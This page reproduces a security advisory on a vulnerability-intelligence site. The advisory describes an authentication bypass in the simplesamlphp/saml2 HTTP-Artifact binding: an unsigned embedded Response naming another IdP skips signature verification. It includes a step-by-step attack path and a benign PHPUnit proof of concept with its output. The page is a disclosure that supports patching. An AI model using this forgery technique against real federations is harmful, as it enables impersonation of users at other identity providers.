llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · simplesamlphp/saml2

GHSA-R7HW-JX6R-756G

SAML2: Incomplete fix of CVE-2026-49283: unsigned embedded Response bypasses HTTP-Artifact signature verification (no embedded-Issuer binding)

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versiones6.2.4 · 7.0.0-rc2
Exposición2 dDesde la divulgación, 17 nov 2026, 4:00 p. m.
Detección20 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
04:00 p. m.
12:28 a. m.
04:00 p. m.
06:07 a. m.
08:14 p. m.
10:21 a. m.
12:28 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-R7HW-JX6R-756G divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary
CVE-2026-49283 / GHSA-6929-8p9f-26jx ("HTTP-Artifact TLS validator confusion allows cross-IdP authentication bypass") was fixed so that `HTTPArtifact::receive()` verifies the embedded SAML `Response` using the IdP metadata signing keys. The current implementation (master `31c72c1d`, released v6.2.3) reaches that verification only when the embedded Response is signed:

// src/Binding/HTTPArtifact.php  (receive())
if (!$samlResponse->isSigned()) {
    return $samlResponse;                         // ← unsigned embedded Response returned UNVERIFIED
}
return $this->verifyMessageSignature($samlResponse, $idpMetadata);   // only runs when signed

An attacker who controls one trusted-federation IdP therefore returns a validly-signed outer `ArtifactResponse` (signed with their own real key, which passes the mandatory outer check) that **wraps an *unsigned* `<samlp:Response>` whose `<Issuer>` names a *different* IdP. `isSigned()` is false, so `verifyMessageSignature()` never runs and the forged Response is returned as successfully received. Additionally, even on the signed path `verifyMessageSignature()` verifies against the artifact issuer's metadata keys but never asserts that the embedded Response's `<Issuer>` equals the artifact issuer** — the same cross-IdP confusion the CVE was assigned for is not closed by identity binding.

This is an incomplete implementation of the fix's own stated goal ("verify signatures using IdP metadata signing keys", commit `dac0b4b6` / #419), and a regression introduced by the `#414` refactor (v6.2.2) — the official CVE fix in v6.2.1 did not contain this short-circuit.

## Affected component
- `src/Binding/HTTPArtifact.php`
- `receive()` line 206-207: `if (!$samlResponse->isSigned()) { return $samlResponse; }` — the bypassed guard.
- `receive()` line 210: `verifyMessageSignature($samlResponse, $idpMetadata)` — only reached when signed.
- `verifyMessageSignature()` lines 230-286: verifies against `$idpMetadata` (artifact-issuer keys); no `getIssuer()` comparison to bind the embedded Response to the artifact issuer.
- `verifyArtifactResponseSignature()` line 300-302: `if ($artifactResponse->isSigned() !== true) throw` — the OUTER response is mandatorily signed; the asymmetry with the embedded `return`-on-unsigned is the defect.
- Regression commit 3b589636 (#414, v6.2.2, "refactor/soap-ssl-validator-openssl"); key-source fix dac0b4b6 (#419) left the short-circuit unchanged.
- Affected: v6.2.2, v6.2.3 (latest), and master. v6.2.1 (official CVE fix) used a deferred-validator model without this short-circuit.

## Reachability (hop-by-hop, guards named)
Threat model: SP uses the HTTP-Artifact binding in a multi-IdP federation; attacker operates one trusted IdP-B (valid `saml20-idp-remote` metadata, real signing key, an ArtifactResolutionService). Goal: impersonate `admin@IdP-A`.
1. Attacker hits the SP artifact endpoint with `SAMLart` encoding `sourceId = sha1(IdP-B entityID)` — line 137-138, no guard.
2. `getMetaDataConfigForSha1` → `$idpMetadata` = IdP-B — line 144. Guard: metadata exists → satisfied (IdP-B trusted).
3. SP resolves against IdP-B's ARS (attacker's endpoint) — line 176-182.
4. IdP-B returns a validly-signed `ArtifactResponse`; `verifyArtifactResponseSignature(...,IdP-B)` passes (signed by the artifact issuer) — line 193/300. Guard satisfied by the attacker (they ARE the artifact issuer).
5. The signed outer wraps an unsigned `<samlp:Response Issuer=IdP-A>` with an assertion for `admin@IdP-A` — line 195, no guard on embedded content.
6. `if (!$samlResponse->isSigned()) return $samlResponse;` → TRUE → returns the forged Response unverified — line 206-207. `verifyMessageSignature` (210) never runs; there is no issuer==artifact-issuer check anywhere in `receive()`.

Every guard on the embedded message is absent; the outer/embedded mandatory-vs-optional asymmetry is the root cause.

## Root cause
The `#414` refactor moved embedded-Response verification into `receive()` but gated it on `isSigned()` (mirroring `if (!isSigned()) return` instead of the outer's `if (isSigned() !== true) throw`), and the `dac0b4b6` key-source fix did not revisit that gate. The artifact binding's designed trust model is that the embedded message is authenticated by the binding (the assertion need not be individually signed), so a conformant integrator relies on `receive()` to have authenticated it — exactly the reliance this gap defeats.

## Proof of concept (executed, benign)
The PoC exercises the real shipped private methods `verifyArtifactResponseSignature()` and
`verifyMessageSignature()` via reflection — exactly as the maintainers' own
`tests/SAML2/Binding/HTTPArtifactTest.php` does — and reproduces `receive()`'s verbatim
post-resolution decision (lines 195/206-210) against real `HTTPArtifact` internals. It models a
validly-signed outer `ArtifactResponse` from the artifact issuer IdP-B (attacker-controlled,
its signing cert in metadata) wrapping an unsigned embedded `<samlp:Response>` claiming
`Issuer=IdP-A`. No destructive payload; the marker is the SKIPPED verification.

Run: `vendor/bin/phpunit --no-coverage tests/SAML2/Binding/PocArtifact001Test.php`

// tests/SAML2/Binding/PocArtifact001Test.php  (namespace SimpleSAML\Test\SAML2\Binding)
// IdP-B metadata (artifact issuer, attacker-controlled) with a real signing cert:
$idpB = Configuration::loadFromArray(['entityid' => 'https://idp-b.example/', 'keys' => [[
    'type' => 'X509Certificate', 'signing' => true, 'encryption' => false,
    'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(),
]]], '[idp-b]');
$ha = new HTTPArtifact();

// Forged embedded Response: UNSIGNED, claims Issuer=IdP-A; verify() throws if ever called.
$embedded = $this->createStub(Response::class);
$embedded->method('isSigned')->willReturn(false);
$embedded->method('getSignature')->willReturn(null);
$embedded->method('verify')->willThrowException(new Exception('POC-FAIL: embedded verify() called'));

// Outer ArtifactResponse: validly signed by IdP-B (verify() returns self), wraps the embedded.
$outer = $this->createStub(ArtifactResponse::class);
$outer->method('isSigned')->willReturn(true);
$outer->method('isSuccess')->willReturn(true);
$outer->method('verify')->willReturnCallback(fn() => $outer);
$outer->method('getSignature')->willReturn(self::sigEl());
$outer->method('getMessage')->willReturn($embedded);

// ---- verbatim HTTPArtifact::receive() post-resolution logic ----
$verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB); // OUTER mandatory — passes vs IdP-B
$samlResponse  = $verifiedOuter->getMessage();
$verifyMessageSignatureCalled = false;
if (!$samlResponse->isSigned()) { $received = $samlResponse; }          // <-- BYPASS (line 206-207)
else { $verifyMessageSignatureCalled = true; $received = $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); }

self::assertFalse($samlResponse->isSigned());
self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature SKIPPED');
self::assertSame($embedded, $received, 'unsigned embedded Response returned unverified');
// Negative control: the real verifier CANNOT accept the unsigned message → the short-circuit is load-bearing.
$threw = false; try { $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); } catch (\Throwable $e) { $threw = true; }
self::assertTrue($threw, 'real verifyMessageSignature rejects the unsigned Response');

Observed benign output:

PHPUnit 13.2.4 by Sebastian Bergmann and contributors.
Runtime:       PHP 8.4.5
[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response
      => receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.
.                                                                   1 / 1 (100%)
OK (1 test, 5 assertions)

The five assertions prove: the outer ArtifactResponse verifies against the artifact issuer (IdP-B)
metadata; the embedded Response is unsigned; `verifyMessageSignature()` is skipped; the unsigned
embedded Response is returned as received; and the real verifier rejects that same unsigned
message — so the `isSigned()` short-circuit is the sole reason it is accepted.

*(Environment note: `composer install` needed a `platform.composer-plugin-api=2.9.0` override with
`--no-plugins` to resolve `xml-common`'s installer-plugin constraint under Composer 2.8.6; no code
under test was modified.)*

## Adversarial re-read (what I tried to refute it with)
- Strongest objection (why CONDITIONAL, not CONFIRMED): the downstream SimpleSAMLphp SP module may route `receive()`'s output through the response/assertion processor, which requires *either* the response signed *or* every assertion signed (`src/Response/Processor.php:155-162`) — that would reject the unsigned forged Response and reduce this to defense-in-depth. I cannot confirm or refute this from the saml2 repo alone (the SP module is a different repo). BUT: (i) the artifact binding's whole rationale is that the embedded message need not be individually signed, so integrators relying on the binding will *not* impose that requirement; (ii) the CVE was assigned against this library and `dac0b4b6`'s stated contract is that `receive()` authenticates the embedded Response — a contract it fails for unsigned messages; (iii) unlike the redirect mock-key dead-path, the unsigned path is exercised in *normal* artifact operation, so the missing verification is live, not dead code.
- Not a false positive on the code: the short-circuit (206-207), the absent issuer binding, and the outer `throw` vs embedded `return` asymmetry (300 vs 206) are verbatim in master and released v6.2.3.

## Remediation
In `receive()`, make embedded-Response authentication mandatory and issuer-bound — mirror the outer pattern: after line 195, reject unless `$samlResponse->isSigned()` and `verifyMessageSignature()` succeeds and `$samlResponse->getIssuer()?->getContent()->getValue() === $idpMetadata->getString('entityid')`. Replace `if (!isSigned()) return` with `if (isSigned() !== true) throw`.

## Confidence
High at the library-contract level — the incomplete-fix is code-verified and the PoC fires against
the real shipped verification methods. CONDITIONAL only for the end-to-end auth bypass (requires the
HTTP-Artifact binding in use and an integrator relying on the binding to authenticate the embedded
message — the binding's designed trust model). Reported to the maintainers as a gap in their own
`dac0b4b6` fix, present in the latest release v6.2.3.

Proof-of-Concept source (`PocArtifact001Test.php`)

<?php

declare(strict_types=1);

namespace SimpleSAML\Test\SAML2\Binding;

use Exception;
use PHPUnit\Framework\TestCase;
use ReflectionMethod;
use SimpleSAML\Configuration;
use SimpleSAML\SAML2\Binding\HTTPArtifact;
use SimpleSAML\SAML2\XML\samlp\ArtifactResponse;
use SimpleSAML\SAML2\XML\samlp\Response;
use SimpleSAML\XMLSecurity\TestUtils\PEMCertificatesMock;

/**
 * PoC — SAML2-ARTIFACT-001: incomplete fix of CVE-2026-49283.
 *
 * HTTPArtifact::receive() contains (master 31c72c1d / released v6.2.3):
 *     $artifactResponse = $this->verifyArtifactResponseSignature($artifactResponse, $idpMetadata); // OUTER: mandatory
 *     $samlResponse = $artifactResponse->getMessage();
 *     ...
 *     if (!$samlResponse->isSigned()) {
 *         return $samlResponse;                                    // <-- EMBEDDED: returned UNVERIFIED
 *     }
 *     return $this->verifyMessageSignature($samlResponse, $idpMetadata);
 *
 * This test reproduces that exact post-resolution decision against real HTTPArtifact
 * private methods (via reflection, exactly as the shipped HTTPArtifactTest does) and shows
 * that an attacker who returns a validly-signed OUTER ArtifactResponse (signed by the
 * artifact issuer IdP-B) wrapping an UNSIGNED embedded Response is accepted with ZERO
 * signature verification of that embedded Response.
 */
final class PocArtifact001Test extends TestCase
{
    private function idpBMetadata(): Configuration
    {
        // "IdP-B": the federated IdP the attacker controls; its signing cert is in metadata,
        // selected from the SAMLart sourceId. (Uses the same mock cert the shipped test uses.)
        return Configuration::loadFromArray([
            'entityid' => 'https://idp-b.example/',
            'keys' => [[
                'type' => 'X509Certificate',
                'signing' => true,
                'encryption' => false,
                'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(),
            ]],
        ], '[idp-b]');
    }

    private function call(HTTPArtifact $ha, string $method, ...$args): mixed
    {
        return (new ReflectionMethod(HTTPArtifact::class, $method))->invoke($ha, ...$args);
    }

    public function testUnsignedEmbeddedResponseIsReturnedWithoutVerification(): void
    {
        $idpB = $this->idpBMetadata();
        $ha = new HTTPArtifact();

        // --- The forged embedded <samlp:Response>: UNSIGNED, claims to be from IdP-A. ---
        $embedded = $this->createStub(Response::class);
        $embedded->method('isSigned')->willReturn(false);              // attacker omits the embedded signature
        $embedded->method('getSignature')->willReturn(null);
        // If receive() ever tried to cryptographically verify this, it would blow up here:
        $embedded->method('verify')->willThrowException(
            new Exception('POC-FAIL: embedded Response->verify() was called — short-circuit absent'),
        );

        // --- The OUTER ArtifactResponse: validly signed by IdP-B (the artifact issuer). ---
        $outer = $this->createStub(ArtifactResponse::class);
        $outer->method('isSigned')->willReturn(true);
        $outer->method('isSuccess')->willReturn(true);
        $outer->method('verify')->willReturnCallback(fn() => $outer);  // valid signature under IdP-B's key
        $outer->method('getSignature')->willReturn(self::sigEl());
        $outer->method('getMessage')->willReturn($embedded);

        // ===== Verbatim reproduction of HTTPArtifact::receive() post-resolution logic =====
        // 1. OUTER signature check — mandatory. Passes: outer is signed by IdP-B, verified vs IdP-B metadata.
        $verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB);
        self::assertSame($outer, $verifiedOuter, 'Outer ArtifactResponse verified against artifact-issuer (IdP-B) metadata');

        // 2. Unwrap the embedded message.
        $samlResponse = $verifiedOuter->getMessage();

        // 3. THE VULNERABLE DECISION (HTTPArtifact.php:206-210, verbatim):
        $verifyMessageSignatureCalled = false;
        if (!$samlResponse->isSigned()) {
            $received = $samlResponse;                                  // <-- BYPASS: returned unverified
        } else {
            $verifyMessageSignatureCalled = true;
            $received = $this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB);
        }
        // ==================================================================================

        // OBSERVABLE: the unsigned embedded Response was accepted as "received" with no verification.
        self::assertFalse($samlResponse->isSigned(), 'Embedded Response carries no signature');
        self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature() was SKIPPED (short-circuit)');
        self::assertSame($embedded, $received, 'BYPASS CONFIRMED: unsigned embedded Response returned unverified');

        // NEGATIVE CONTROL: the short-circuit is load-bearing — the real verifier CANNOT accept the
        // unsigned message (no <ds:Signature> to check), so removing the short-circuit would reject it.
        $threw = false;
        try {
            $this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB);
        } catch (\Throwable $e) {
            $threw = true;
        }
        self::assertTrue($threw, 'Real verifyMessageSignature() rejects the unsigned Response — only the short-circuit accepts it');

        fwrite(STDERR, "\n[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response "
            . "=> receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.\n");
    }

    private const MINIMAL_SIG =
        '<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo>'
        . '<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>'
        . '<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>'
        . '<ds:Reference URI="#_x"><ds:Transforms>'
        . '<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms>'
        . '<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AA==</ds:DigestValue>'
        . '</ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue></ds:Signature>';

    private static function sigEl(): \SimpleSAML\XMLSecurity\XML\ds\Signature
    {
        $doc = new \DOMDocument('1.0', 'UTF-8');
        $doc->loadXML(self::MINIMAL_SIG);
        return \SimpleSAML\XMLSecurity\XML\ds\Signature::fromXML($doc->documentElement);
    }
}

Proof-of-Concept source (`poc_output.txt`)

PHPUnit 13.2.4 by Sebastian Bergmann and contributors.
Runtime:       PHP 8.4.5
Configuration: /home/aoc/CVEs/saml2/phpunit.xml
[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response => receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.
.                                                                   1 / 1 (100%)
Time: 00:00.036, Memory: 22.00 MB
OK (1 test, 5 assertions)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
simplesamlphp/saml2≥ 6.2.2 < 6.2.4
simplesamlphp/saml2≥ 7.0.0-rc1 < 7.0.0-rc2
6.2.2
6.2.4
7.0.0-rc1
7.0.0-rc2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistsimplesamlphp/saml2
Corregida 6.2.4, 7.0.0-rc2 — —
Versiones corregidas6.2.47.0.0-rc2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-110782
Otrahttps://github.com/simplesamlphp/saml2/security/advisories/GHSA-r7hw-jx6r-756g
Otrahttps://github.com/simplesamlphp/saml2/commit/7b7fbb5322cb5607db3e5a329681f4886b1449fe
Otrahttps://github.com/simplesamlphp/saml2/commit/9a21edb96de1f3ece3b40ccbe3b7de761917a06f
Otrahttps://github.com/simplesamlphp/saml2
Otrahttps://github.com/simplesamlphp/saml2/releases/tag/v6.2.4
Otrahttps://github.com/simplesamlphp/saml2/releases/tag/v7.0.0-rc2

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.